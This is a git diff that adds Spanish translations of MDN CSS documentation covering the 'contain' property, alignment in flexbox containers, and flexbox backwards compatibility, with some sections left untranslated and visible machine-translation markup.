+  contain: content;
+}</pre>
+
+<p>Cada artículo es independiente de los demás artículos en la página, y en consecuencia se les ha aplicado <code>contain: content</code> para indicar al navegador que ese es el caso. El navegador puede entonces usar esa información para tomar decisiones sobre cómo renderizar el contenido. Por ejemplo, puede no renderizar artículos que estén fuera del área visible.</p>
+
+<p>Si aplicamos a cada <code>&lt;article&gt;</code> la propiedad <code>contain</code> con el valor <code>content</code>, cuando se inserten nuevos elementos el navegador entiende que no necesita hacer <em>relayout </em>o <em>repaint </em>de ningun área que esté fuera del subárbol que contenga el elemento, aunque si aplicamos estilos al <code>&lt;article&gt;</code> (por ejemplo <code>height: auto</code>), el navegador puede necesitar hacerse cargo de ese cambio de tamaño.</p>
+
+<p>Se nos ha dicho por medio de la propiedad <code>contain</code> que cada artículo es independiente de los demás.</p>
+
+<p>El valor <code>content</code> es una clave para referirse al valor <code>layout paint</code>. Dice al navegador que el <em>layout</em> del elemento está totalmente separado del resto de la página, y que todo lo relacionado con el elemento es pintado dentro de sus límites. Nada puede desbordarse visualmente.</p>
+
+<p>Esta información es algo que normalmente es obvio para el desarrollador a la hora de crear la página web. Sin embargo, los navegadores no pueden adivinar las intenciones del desarrollador y no puede asumir que un <code>&lt;article&gt;</code> tenga que ser enteramente autocontenido. Esta propiedad, por lo tanto, provee de una buena forma de explicar este hecho al navegador, permitiendo que haga optimizaciones para el rendimiento basados en ese conocimiento.</p>
+
+<h2 id="Key_concepts_and_terminology">Key concepts and terminology</h2>
+
+<p>This specification defines only one property, the {{cssxref("contain")}} property. The values for this property indicate the type of containment that you want to apply to that element.</p>
+
+<h3 id="Layout_containment">Layout containment</h3>
+
+<pre class="brush: css notranslate">article {
+  contain: layout;
+}</pre>
+
+<p>Layout is normally scoped to the entire document, which means that if you move one element the entire document needs to be treated as if things could have moved anywhere. By using <code>contain: layout</code> you can tell the browser it only needs to check this element — everything inside the element is scoped to that element and does not affect the rest of the page, and the containing box establishes an independent formatting context.</p>
+
+<p>In addition:</p>
+
+<ul>
+ <li><code>float</code> layout will be performed independently.</li>
+ <li>Margins won't collapse across a layout containment boundary</li>
+ <li>The layout container will be a containing block for <code>absolute</code>/<code>fixed</code> position descendants.</li>
+ <li>The containing box creates a stacking context, therefore {{cssxref("z-index")}} can be used.</li>
+</ul>
+
+<h3 id="Paint_containment">Paint containment</h3>
+
+<pre class="brush: css notranslate">article {
+  contain: paint;
+}</pre>
+
+<p>Paint containment essentially clips the box to the padding edge of the principal box. There can be no visible overflow. The same things are true for <code>paint</code> containment as <code>layout</code> containment (see above).</p>
+
+<p>Another advantage is that if the containing box is offscreen, the browser does not need to paint its contained elements — these must also be offscreen as they are contained completely by that box.</p>
+
+<h3 id="Size_containment">Size containment</h3>
+
+<pre class="brush: css notranslate">article {
+  contain: size;
+}</pre>
+
+<p>Size containment does not offer much in the way of performance optimizations when used on its own. However, it means that the size of the element's children cannot affect the size of the element itself — its size is computed as if it had no children.</p>
+
+<p>If you turn on <code>contain: size</code> you need to also specify the size of the element you have applied this to. It will end up being zero-sized in most cases, if you don't manually give it a size.</p>
+
+<h3 id="Style_containment">Style containment</h3>
+
+<pre class="brush: css notranslate">article {
+  contain: style;
+}</pre>
+
+<p>Despite the name, style containment does not provide scoped styles such as you would get with the <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">Shadow DOM</a>. The main use case is to prevent situations where a <a href="/en-US/docs/Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters">CSS Counter</a> could be changed in an element, which could then affect the rest of the tree. </p>
+
+<p>Using <code>contain: style</code> would ensure that the {{cssxref("counter-increment")}} and {{cssxref("counter-set")}} properties created new counters scoped to that subtree only.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: <code>style</code> containment is "at-risk" in the spec and may not be supported everywhere (it's not currently supported in Firefox).</p>
+</div>
+
+<h3 id="Special_values">Special values</h3>
+
+<p>There are two special values of contain:</p>
+
+<ul>
+ <li><code>content</code></li>
+ <li><code>strict</code></li>
+</ul>
+
+<p>We encountered the first in the example above. Using <code>contain: content</code> turns on <code>layout</code> and <code>paint</code> containment. The specification describes this value as being "reasonably safe to apply widely". It does not apply <code>size</code> containment, so you would not be at risk of a box ending up zero-sized due to a reliance on the size of its children.</p>
+
+<p>To gain as much containment as possible use <code>contain: strict</code>, which behaves the same as <code>contain: size layout paint</code>, or perhaps the following to also add <code>style</code> containment in browsers that support it:</p>
+
+<pre class="brush: css notranslate">contain: strict;
+contain: strict style;</pre>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="CSS_Properties">CSS Properties</h3>
+
+<ul>
+ <li>{{cssxref("contain")}}</li>
+</ul>
+
+<h2 id="External_resources">External resources</h2>
+
+<ul>
+ <li><a href="https://blogs.igalia.com/mrego/2019/01/11/an-introduction-to-css-containment/">An Introduction to CSS Containment</a></li>
+ <li><a href="https://dev.opera.com/articles/css-will-change-property">Everything You Need to Know About the CSS <code>will-change</code> Property</a></li>
+</ul>
diff --git a/files/es/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html b/files/es/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html
new file mode 100644
index 0000000000..154480239b
--- /dev/null
+++ b/files/es/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html
@@ -0,0 +1,231 @@
+---
+title: Aligning Items in a Flex Container
+slug: Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container
+tags:
+  - Align
+  - CSS
+  - Flex
+  - Guía
+  - Tutorial
+  - align-content
+  - align-self
+  - alineación
+  - alinear
+  - flexbox
+  - justify
+  - justify-content
+  - rejillas
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container
+---
+<p>{{CSSRef}}</p>
+
+<p class="summary">Una de las razones por las que flexbox atrajo rápidamente el interés de los desarrolladores web es que por primera vez en la web se ha conseguido unas posibilidades completas de alineamiento de elementos. Se habilita la alineación vertical, de modo que por fin existe una manera rápida y facil de centrar una caja.  A lo largo de esta guía, vamos a desarrollar un exhaustivo recorrido  sobre el funcionamiento de las propiedades de alineamiento y justificación en Flexbox.</p>
+
+<p><span class="tlid-translation translation"><span title="">Para centrar nuestra caja, usamos la propiedad align-items para alinear nuestro artículo en el eje transversal, que en este caso es el eje del bloque que se ejecuta verticalmente.</span> <span title="">Utilizamos justify-content para alinear el elemento en el eje principal, que en este caso el eje en línea se ejecuta horizontalmente.</span></span></p>
+
+<p><img alt="A containing element with another box centered inside it." src="https://mdn.mozillademos.org/files/15627/align1.png" style="display: block; height: 357px; margin: 0px auto; width: 616px;"></p>
+
+
+
+<p><span class="tlid-translation translation"><span title="">Puedes echar un vistazo al código de este ejemplo a continuación.</span> <span title="">Cambia el tamaño del contenedor o elemento anidado y el elemento anidado siempre permanece centrado.</span></span></p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/intro.html", '100%', 700)}}</p>
+
+<h2 id="Propiedades_que_controlan_la_alineación."><span class="tlid-translation translation"><span title="">Propiedades que controlan la alineación.</span></span></h2>
+
+<p><span class="tlid-translation translation"><span title="">Las propiedades que veremos en esta guía son las siguientes.</span></span></p>
+
+<ul>
+ <li>{{cssxref("justify-content")}} — <span class="tlid-translation translation"><span title="">controla la alineación de todos los elementos en el eje principal.</span></span></li>
+ <li>{{cssxref("align-items")}} — <span class="tlid-translation translation"><span title="">controla la alineación de todos los elementos en el eje transversal.</span></span></li>
+ <li>{{cssxref("align-self")}} — <span class="tlid-translation translation"><span title="">controla la alineación de un elemento flexible individual en el eje transversal.</span></span></li>
+ <li>{{cssxref("align-content")}} — <span class="tlid-translation translation"><span title="">descrito en la especificación como para "empaquetar líneas flexibles";</span> <span title="">Controla el espacio entre las líneas de flexión en el eje transversal.</span></span></li>
+</ul>
+
+<p><span class="tlid-translation translation"><span title="">También descubriremos cómo se pueden usar los márgenes automáticos para la alineación en flexbox</span></span></p>
+
+<div class="note">
+<p><span class="tlid-translation translation"><span title="">Nota: Las propiedades de alineación en Flexbox se han colocado en su propia especificación</span></span> — <a href="https://www.w3.org/TR/css-align-3/">CSS Box Alignment Level 3</a>. <span class="tlid-translation translation"><span title="">Se espera que esta especificación finalmente reemplace las propiedades tal como se definen en Flexbox Nivel Uno.</span></span></p>
+</div>
+
+<h2 id="El_eje_transversal"><span class="tlid-translation translation"><span title="">El eje transversal</span></span></h2>
+
+<p><span class="tlid-translation translation"><span title="">Las propiedades </span></span><code>align-items</code><span class="tlid-translation translation"><span title=""> y </span></span><code>align-self</code><span class="tlid-translation translation"><span title=""> controlan la alineación de nuestros elementos flexibles en el eje transversal, en filas si </span></span><code>flex-direction</code><span class="tlid-translation translation"><span title=""> se encuentra en row ó en columnas si </span></span><code>flex-direction se encuentra en</code><span class="tlid-translation translation"><span title=""> column.</span><br>
+ <br>
+ <span title="">Estamos haciendo uso de la alineación del eje transversal en el ejemplo de flexión más simple.</span> <span title="">Si agregamos display: flex a un contenedor, todos los elementos secundarios se convierten en elementos flexibles organizados en una fila.</span> <span title="">Todos se estirarán para ser tan altos como el elemento más alto, ya que ese elemento define la altura de los elementos en el eje transversal.</span> <span title="">Si su contenedor flexible tiene una altura establecida, entonces los elementos se extenderán a esa altura, independientemente de la cantidad de contenido en el elemento.</span></span></p>
+
+<p><img alt="Three items, one with additional text causing it to be taller than the others." src="https://mdn.mozillademos.org/files/15628/align2.png" style="display: block; height: 131px; margin: 0px auto; width: 509px;"></p>
+
+<p><img alt="Three items stretched to 200 pixels tall" src="https://mdn.mozillademos.org/files/15629/align3.png" style="display: block; height: 207px; margin: 0px auto; width: 637px;"></p>
+
+
+
+<p>La razón por la que los elementos se convierten en la misma altura es que el valor inicial de <code>align-items</code>, la propiedad que controla la alineación en el eje transversal, se establece en <code>stretch</code>.</p>
+
+<p>Podemos usar otros valores para controlar como se alinean los items:</p>
+
+<ul>
+ <li><code>align-items: flex-start</code></li>
+ <li><code>align-items: flex-end</code></li>
+ <li><code>align-items: center</code></li>
+ <li><code>align-items: stretch</code></li>
+ <li><code>align-items: baseline</code></li>
+</ul>
+
+<p>En el ejemplo en vivo a continuación, el valor de <code>align-items</code> is <code>stretch</code>. Pruebe los otros valores y vea cómo todos los elementos se alinean entre sí en el contenedor flexible.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-items.html", '100%', 520)}} </p>
+
+<h3 id="Alineando_un_item_individual_con_align-self">Alineando un item  individual con align-self</h3>
+
+<p>La propiedad align-items establece la propiedad align-self en todos los elementos flexibles como un grupo. Esto significa que puede declarar explícitamente la propiedad <code>align-self </code>para apuntar a un solo elemento. La propiedad<code> align-self </code>acepta todos los mismos valores que <code>align-items</code>, además del valor <code>auto</code>, que restablecerá el valor a lo que esté definido en el contenedor flex o flexible..</p>
+
+<p>En este siguiente ejemplo en vivo, el contenedor flex tiene el elemento de alineación:<code> flex-start</code>, lo que significa que todos los elementos están alineados con el inicio del eje transversal. En este caso se dirige al primer elemento utilizando un selector <code>first-child</code>,  y se configuró con la propiedad: <code>strecth</code>; otro elemento ha sido alineado, utilizando  su clase <code>selected </code> y dando valor a la propiedad <code> align-self: center</code>.  Puede cambiar el valor de a<code>lign-items</code> o cambiar los valores de <code>align-self</code> en los elementos individuales para ver cómo funciona esto.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self.html", '100%', 650)}} </p>
+
+<h3 id="Cambiando_el_eje_principal">Cambiando el eje principal</h3>
+
+<p>Hasta ahora hemos examinado el comportamiento cuando nuestra <code>flex-direction</code>  es <code>row</code>, y mientras trabajamos en un lenguaje escrito de arriba a abajo. Esto significa que el eje principal corre a lo largo de la fila horizontalmente, y nuestra alineación del eje transversal mueve los elementos hacia arriba y hacia abajo.</p>
+
+<p><img alt="Three items, the first aligned to flex-start, second to center, third to flex-end. Aligning on the vertical axis." src="https://mdn.mozillademos.org/files/15630/align4.png" style="display: block; height: 204px; margin: 0px auto; width: 671px;"></p>
+
+<p>Si cambiamos nuestra <code>flex-direction</code> a columna, <code>align-items</code> y <code>align-self</code> van a alinear los items a la derecha y a la izquierda.</p>
+
+<p><img alt="Three items, the first aligned to flex-start, second to center, third to flex-end. Aligning on the horizontal axis." src="https://mdn.mozillademos.org/files/15631/align5.png" style="display: block; height: 239px; margin: 0px auto; width: 687px;"></p>
+
+<p>Puede probarlo con el siguiente ejemplo, que tiene un contenedor flexible, con <code>flex-direction: column </code>, y  que de lo contrario seria exactamente igual  al ejemplo anterior. .</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self-column.html", '100%', 730)}} </p>
+
+<h2 id="Alineando_el_contenido_en_el_eje_transversal_la_propiedad_align-content">Alineando el contenido en el eje transversal: la propiedad align-content</h2>
+
+<p>Hasta ahora hemos estado alineando los elementos, o un elemento individual dentro del área definida por el contenedor flexible. Si tiene un contenedor flexible de varias líneas envuelto, también puede usar la propiedad  <code>align-content</code> para controlar la distribucion del espacio entre las filas. En la especificación, esto se describe como <a href="https://drafts.csswg.org/css-flexbox/#align-content-property">empaquetamiento de lineas flexibles</a>.</p>
+
+<p>Para que <code>align-content</code> funcione necesita una mayor altura en su contenedor flexible que la que requiere para mostrar los items. A partir de ahi el tratara a todos los items como un conjunto, para determinar que sucede con ese espacio libre y y la alineacion de todo el conjunto de elementos que contiene.    </p>
+
+<p>La propiedad <code>align-content</code> acepta los siguientes valores:</p>
+
+<ul>
+ <li><code>align-content: flex-start</code></li>
+ <li><code>align-content: flex-end</code></li>
+ <li><code>align-content: center</code></li>
+ <li><code>align-content: space-between</code></li>
+ <li><code>align-content: space-around</code></li>
+ <li><code>align-content: stretch</code></li>
+ <li><code>align-content: space-evenly</code> (not defined in the Flexbox specification)</li>
+</ul>
+
+<p>En el ejemplo en vivo siguiente, el contenedor flexible, tiene una altura de 400 pixels, lo cual es mas de lo que necesita para mostrar nuestros items. El valor de <code>align-content</code>  lo que significa que el espacio disponible es compartido entre las lineas flexibles que estan colocadas al ras al inicio y al final  del contenedor en el eje transversal. </p>
+
+<p>Pruebe con otros valores para ver como la propiedad <code>align-content</code> funciona.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content.html", '100%', 850)}} </p>
+
+<p>Una vez mas podemos cambiar nuestra <code>flex-direction</code> a <code>column</code> para ver como esta propieda se comporta cuando trabajamos con columnas. Al igual que antes necesitamos suficiente espacio en el eje transversal para dejar algun espacio libre despues de mostrar todos los items  </p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content-column.html", '100%', 860)}} </p>
+
+<div class="note">
+<p><strong>Nota</strong>: El valor <code>space-evenly</code> no está definido en las especificaciones de flexbox  y la ultima adiccion a las especificaciones de Alineacion de cajas Box Alignment . El soporte del navegador para este valor no es tan bueno como el de los valores definidos en la especificación de flexbox.</p>
+</div>
+
+<p>Revise la <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/justify-content">documentacion para <code>justify-content</code>  en MDN</a> para  encontrar más detalles de todos sus valores y el soporte de los navegadores.</p>
+
+<h2 id="Alineando_contenido_en_el_eje_principal">Alineando contenido en el eje principal</h2>
+
+<p>Ahora que hemos visto como funciona la alineacion en el eje transversal, podemos echar una mirada al eje principal. Aquí solo tendremos una propiedad disponible disponible — <code>justify-content</code>.  Esto se debe a que  solo podemos trabajar con los items como grupos en el eje principal. Con <code>justify-content</code> controlamos que sucede con el espacion disponible, en caso de que haya más espacio del que se necesita para mostrar los items  </p>
+
+<p>En nuestro ejemplo inicial con <code>display: flex</code> en el contenedor, los items se muestran como una fila y todos se alinean al inicio del contenedor. Esto se debe a que el valor inicial de <code>justify-content </code>es <code>flex-star</code>t. Cualquier espacio disponible se coloca al final de los elementos.</p>
+
+<p><img alt="Three items, each 100 pixels wide in a 500 pixel container. The available space is at the end of the items." src="https://mdn.mozillademos.org/files/15632/align6.png" style="display: block; height: 198px; margin: 0px auto; width: 528px;"></p>
+
+<p>La propiedad <code>justify-content</code>  accepta el mismo valor que  <code>align-content</code>.</p>
+
+<ul>
+ <li><code>justify-content: flex-start</code></li>
+ <li><code>justify-content: flex-end</code></li>
+ <li><code>justify-content: center</code></li>
+ <li><code>justify-content: space-between</code></li>
+ <li><code>justify-content: space-around</code></li>
+ <li><code>justify-content: stretch</code></li>
+ <li><code>justify-content: space-evenly</code> (not defined in the Flexbox specification)</li>
+</ul>
+
+<p>En el ejemplo a continuacion el valor de <code>justify-content</code> es <code>space-between</code>. El espacio disponible despues de mostrar los items es distribuido  entre estos. El elemento izquierdo y derecho se alinea al ras con el inicio y el final.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content.html", '100%', 480)}} </p>
+
+<p>Si el eje principal esta en direccion bloque porque <code>flex-direction</code>  tiene valor  <code>column</code>, entonces <code>justify-content</code> distribuira el espacio entre items, en la misma medida que el posee el espacio en el contenedor flex para ser distribuida, o sea siempre que haya espacio en el contenedor para distribuir. </p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-column.html", '100%', 880)}} </p>
+
+<h3 id="Modos_de_Alineación_y_escritura">Modos de Alineación y escritura</h3>
+
+<p>Recuerda que con todos estos metodos de alineación los valores de <code>flex-start</code> y <code>flex-end</code> son escritos en modo consciente. Si el valor de  <code>justify-content</code> es <code>start</code> y el modo de escritura es izquierda a derecha, como en español o ingles,  los elementos se alinearán comenzando en el  lado izquierdo del contenedor</p>
+
+<p><img alt="Three items lined up on the left" src="https://mdn.mozillademos.org/files/15638/Basics5.png" style="display: block; height: 152px; margin: 0px auto; width: 631px;"></p>
+
+<p>Sin embargo si el modo de escritura es de derecha a izquierda como en arabe, los elementos o items se alinearán en el extremo derecho del contenedor.</p>
+
+<p><img alt="Three items lined up from the right" src="https://mdn.mozillademos.org/files/15639/Basics6.png" style="display: block; height: 152px; margin: 0px auto; width: 634px;"></p>
+
+<p>El ejemplo siguiente tiene la propiedad  <code>direction</code>  con valor <code>rtl</code> para forzar a los elementos a colocarse de derecha a izquierda. Puedes eliminarlo o cambiar los valores de  <code>justify-content</code>   para ver como flexbox  se comporta cuando el inicio de la direccion dentro de la linea, es a la derecha.  </p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-writing-mode.html", '100%', 440)}} </p>
+
+<h2 id="Alineacíon_y_flex-direction">Alineacíon y flex-direction</h2>
+
+<p>La linea de inicio también cambiará si cambias la propiedad <code>flex-direction</code>  — por ejemplo usando  <code>row-reverse</code> en vez de <code>row</code>.</p>
+
+<p>En el ejemplo siguiente tengo items dispuestos con <code>flex-direction: row-reverse</code> y <code>justify-content: flex-end</code>. En lenguaje de izquierda a derecha, estos elementos se alinearan a  la izquierda. Prueba a cambiar <code>flex-direction: row-reverse</code> a <code>flex-direction: row</code>. Veras como los elementos ahora se mueven a la derecha.  </p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-reverse.html", '100%', 440)}} </p>
+
+<p>Considerando que esto puede ser algo confuso, la regla a tener en cuenta es que a no ser que hagas algo para cambiarlo, los items flexible se alinean en la misma direccion que las palabras se ordenan linealmente en el lenguaje de tu documento a lo largo de la linea.   <code>flex-start</code> comenzará donde el inicio de la oracion debe comenzar.  </p>
+
+<p><img alt="Diagram showing start on the left and end on the right." src="https://mdn.mozillademos.org/files/15634/align8.png" style="display: block; height: 152px; margin: 0px auto; width: 631px;"></p>
+
+<p>Puedes cambiarlo para que aparezcan en dirección de bloque, para el lenguaje de tu documento, seleccionando  <code>flex-direction: column</code>. Luego <code>flex-start</code> estará donde la parte superior del primer parrafo de texto comenzaria.  </p>
+
+<p><img alt="Diagram showing start at the top and end at the bottom." src="https://mdn.mozillademos.org/files/15636/align10.png" style="display: block; height: 273px; margin: 0px auto; width: 709px;"></p>
+
+<p>Si cambias flex-direction a uno de los valores inversos, entonces se distribuirán desde el eje final y en el orden inverso a la forma en que se escriben las palabras en el idioma de su documento. <code>flex-start</code> cambiará al final de ese eje — por lo tanto, a la ubicación donde se ajustarán sus líneas si trabaja en filas, o al final de su último párrafo de texto, en la dirección en bloque.</p>
+
+<p><img alt="Diagram showing start on the right and end on the left." src="https://mdn.mozillademos.org/files/15635/align9.png" style="display: block; height: 152px; margin: 0px auto; width: 631px;"></p>
+
+<p><img alt="Diagram showing end at the top and start at the bottom" src="https://mdn.mozillademos.org/files/15637/align11.png" style="display: block; height: 273px; margin: 0px auto; width: 709px;"></p>
+
+<h2 id="Usando_auto_margenes_para_la_alineación_en_el_eje_principal">Usando auto margenes para la alineación en el eje principal  </h2>
+
+<p>No tenemos una propiedad  <code>justify-items</code> o <code>justify-self</code> disponible en el eje principal para nuestros items, ya que estos son tratados como un grupo en este eje.  Sin embargo es posible realizar cierta alineación individual, para separar un elemento o un grupo de elementos de otros, usando automargenes, o margenes automaticos con flebox.  </p>
+
+<p>Un patrón común es una barra de navegación donde algunos elementos clave se alinean a la derecha, con el grupo principal a la izquierda. Podría pensarse que este debería ser un caso de uso para una propiedad de  <code>justify-self</code>  , sin embargo, considere la imagen a continuación. Tengo tres artículos en un lado y dos en el otro. Si pudiera usar <code>justify-self</code> en el elemento <em>d</em>, también cambiaría la alineación del artículo <em>e</em> que sigue, lo cual puede o no ser mi intención.</p>
+
+<p><img alt="Five items, in two groups. Three on the left and two on the right." src="https://mdn.mozillademos.org/files/15633/align7.png" style="display: block; height: 84px; margin: 0px auto; width: 645px;"></p>
+
+<p>En cambio podemos enfocarnos en el item  4 y separarlo de los tres primeros elementos dandole a este un  valor al <code>margin-left</code>  de <code>auto</code>. El auto margen tomará  todo el espacio que puedan en su eje — así es como funciona el centrado de un bloque con los margenes automáticos a derecha e izquierda. Cada lado trata de ocupar tanto espacio como puede, y así el bloque se empuja hacia el medio.</p>
+
+<p>En este ejemplo en vivo, tenemos elementos flexibles,   organizados simplemente en una fila con los valores básicos de flexión, y  la clase <code> push</code>  tiene <code>margin-left: auto</code>. Puedes intentar eliminarlo o agregar la clase a otro elemento para ver cómo funciona.</p>
+
+
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/auto-margins.html", '100%', 470)}} </p>
+
+<h2 id="Futuras_caracteristicas_de_alineación_para_Flexbox">Futuras caracteristicas de alineación para  Flexbox</h2>
+
+<p>Al principio de este artículo, expliqué que las propiedades de alineación actualmente contenidas en la especificación de flexbox de Nivel 1 también se incluyen en el Nivel de Alineación de Casillas 3, que puede extender estas propiedades y valores en el futuro. Ya hemos visto un lugar donde esto ha sucedido, con la introducción del <code>space-evenly</code> para las propiedades de <code>align-content</code> y <code>justify-content</code>.</p>
+
+<p> El módulo de alineación de cuadro también incluye otros métodos para crear espacio entre elementos, como la función de <code>column-gap</code> y <code>ow-gap</code>, como se ve en el <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout"> Diseño de rejillas de CSS</a>. La inclusión de estas propiedades en la Alineación de cajas significa que en el futuro también deberíamos poder utilizar <code>column-gap</code> y <code>row-gap</code>  tambien en diseños flexibles. Esto significará que no tendremos  que usar márgenes para espaciar los elementos flexibles.</p>
+
+<p> Mi sugerencia al explorar en profundidad la alineación de flexbox es hacerlo conjuntamente con  la alineación en Diseño de rejillas. Ambas especificaciones utilizan las propiedades de alineación que se detallan en la especificación de  Alineación de cajas. Puede ver cómo se comportan estas propiedades cuando se trabaja con una cuadrícula en el artículo de MDN <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Alineación de cajas</a>  , y también he comparado cómo funciona la alineación en estas especificaciones en mi <a href="https://rachelandrew.co.uk/css/cheatsheets/box-alignment">Hoja de trucos de alineacion de cajas</a>.</p>
+
+
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Box_Alignment">Alineación de cajas</a></li>
+ <li> <a href="/en-US/docs/Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox">Alineación en Flexbox</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Box_Alignment/Box_Alignment_In_Grid_Layout">Alineación de cajs en Diseño de rejillas</a></li>
+</ul>
diff --git a/files/es/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html b/files/es/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html
new file mode 100644
index 0000000000..ca416812f3
--- /dev/null
+++ b/files/es/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html
@@ -0,0 +1,112 @@
+---
+title: Compatibilidad con versiones anteriores de Flexbox
+slug: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><span class="notranslate">Flexbox es muy compatible con los navegadores modernos, sin embargo, hay algunos problemas con los que puede encontrarse.</span> <span class="notranslate"> En esta guía, veremos qué tan bien se admite flexbox en los navegadores, y veremos algunos posibles problemas, recursos y métodos para crear soluciones y fallos.</span></p>
+
+<h2 id="La_historia_de_flexbox"><span class="notranslate">La historia de flexbox</span></h2>
+
+<p><span class="notranslate">Al igual que con todas las especificaciones CSS, la especificación Flexbox experimentó una gran cantidad de cambios antes de convertirse en la Recomendación de Candidato que tenemos hoy.</span> <span class="notranslate"> Como recomendación de un candidato, no deberíamos ver grandes cambios en este punto de la especificación, sin embargo, este no ha sido el caso con las iteraciones anteriores de flexbox.</span></p>
+
+<p><span class="notranslate">Flexbox se implementó de forma experimental en varios navegadores web.</span> <span class="notranslate"> En ese momento, el método para crear implementaciones experimentales era utilizar un prefijo de proveedor.</span> <span class="notranslate"> La idea de estos prefijos era permitir que las implementaciones de la especificación fueran probadas y exploradas por ingenieros de navegadores y desarrolladores web por igual sin chocar con otras implementaciones.</span> <span class="notranslate"> La idea no era utilizar las implementaciones experimentales en el código de producción.</span> <span class="notranslate"> Sin embargo, los prefijos finalmente se usaron en el código de producción, y los cambios en la especificación experimental hicieron que las personas necesitaran actualizar sus sitios para mantenerse al día.</span></p>
+
+<p><span class="notranslate"><a class="external" href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://www.w3.org/TR/2009/WD-css3-flexbox-20090723/&amp;xid=17259,15700019,15700186,15700190,15700256,15700259,15700262,15700265,15700271,15700280,15700283&amp;usg=ALkJrhgJrJ-4Kq-8QScbSc51wpTjPm82pg" rel="noopener">En 2009</a> , la especificación se veía bastante diferente.</span> <span class="notranslate"> Para crear un contenedor flexible, usaría <code>display: box</code> y había una serie de propiedades <code>box-*</code> , que hicieron cosas que reconocerá hoy en flexbox.</span></p>
+
+<p><span class="notranslate">Hubo una <a class="external" href="https://translate.googleusercontent.com/translate_c?depth=1&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=es&amp;u=https://www.w3.org/TR/2012/WD-css3-flexbox-20120322/&amp;xid=17259,15700019,15700186,15700190,15700256,15700259,15700262,15700265,15700271,15700280,15700283&amp;usg=ALkJrhicnum0sG8w9q_jY-H3SvbkxBPHwQ" rel="noopener">actualización de la especificación</a> que actualizó la sintaxis para <code>display: flexbox</code> : esto fue nuevamente prefijado por el proveedor.</span></p>
+
+<p><span class="notranslate">Finalmente, la especificación se actualizó para definir <code>display: flex</code> como la forma de crear un contenedor de flex.</span> <span class="notranslate"> El soporte del navegador para la versión actualizada de la especificación es excelente a partir de este momento.</span></p>
+
+<p><span class="notranslate">Existen algunos artículos antiguos que hacen referencia a las versiones anteriores de flexbox, que son bastante fáciles de identificar debido al cambio en la forma en que se crea un contenedor flexible.</span> <span class="notranslate"> Si encuentra algo que se refiere a <code>display: box</code> o <code>display: flexbox</code> esta es información desactualizada.</span></p>
+
+<h2 id="Estado_en_navegadores"><span class="notranslate">Estado en navegadores</span></h2>
+
+<p><span class="notranslate">La compatibilidad del navegador para flexbox es excelente, y la mayoría de los navegadores no necesitan un prefijo en este momento.</span> <span class="notranslate"> Safari fue el último de los principales navegadores en eliminar los prefijos, con el lanzamiento de Safari 9 en 2015. Los dos navegadores que aún debe tener en cuenta para la compatibilidad entre navegadores son:</span></p>
+
+<ul>
+ <li><span class="notranslate">Internet Explorer 10, que implementó la versión <code>display: flexbox</code> de la especificación con el prefijo <code>-ms-</code> .</span></li>
+ <li><span class="notranslate">UC Browser, que aún admite la versión 2009 <code>display: box</code> versión de <code>display: box</code> solo con el prefijo <code>-webkit-</code> .</span></li>
+</ul>
+
+<p><span class="notranslate">Tenga en cuenta también que Internet Explorer 11 es compatible con la <code>display: flex</code> moderna <code>display: flex</code> especificación <code>display: flex</code> sin embargo, tiene una serie de errores en la implementación.</span></p>
+
+<h2 id="Problemas_comunes"><span class="notranslate">Problemas comunes</span></h2>
+
